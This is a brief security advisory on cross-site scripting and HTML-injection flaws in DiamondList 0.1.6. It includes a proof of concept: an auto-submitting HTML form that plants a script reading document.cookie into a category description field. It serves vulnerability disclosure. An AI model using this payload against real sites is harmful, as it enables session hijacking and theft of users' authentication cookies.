source: https://www.securityfocus.com/bid/42252/info DiamondList is prone to a cross-site scripting vulnerability and an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content. Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible. DiamondList 0.1.6 is vulnerable; prior versions may also be affected. <form action="http://www.example.com/user/main/update_category/CATEGORY_ID" method="post" name="main" > <input type="hidden" name="category[name]" value="some cat name" /> <input type="hidden" name="category[description]" value='descr<script>alert(document.cookie)</script>' /> <input type="hidden" name="commit" value="Update" /> </form> <script> document.main.submit(); </script>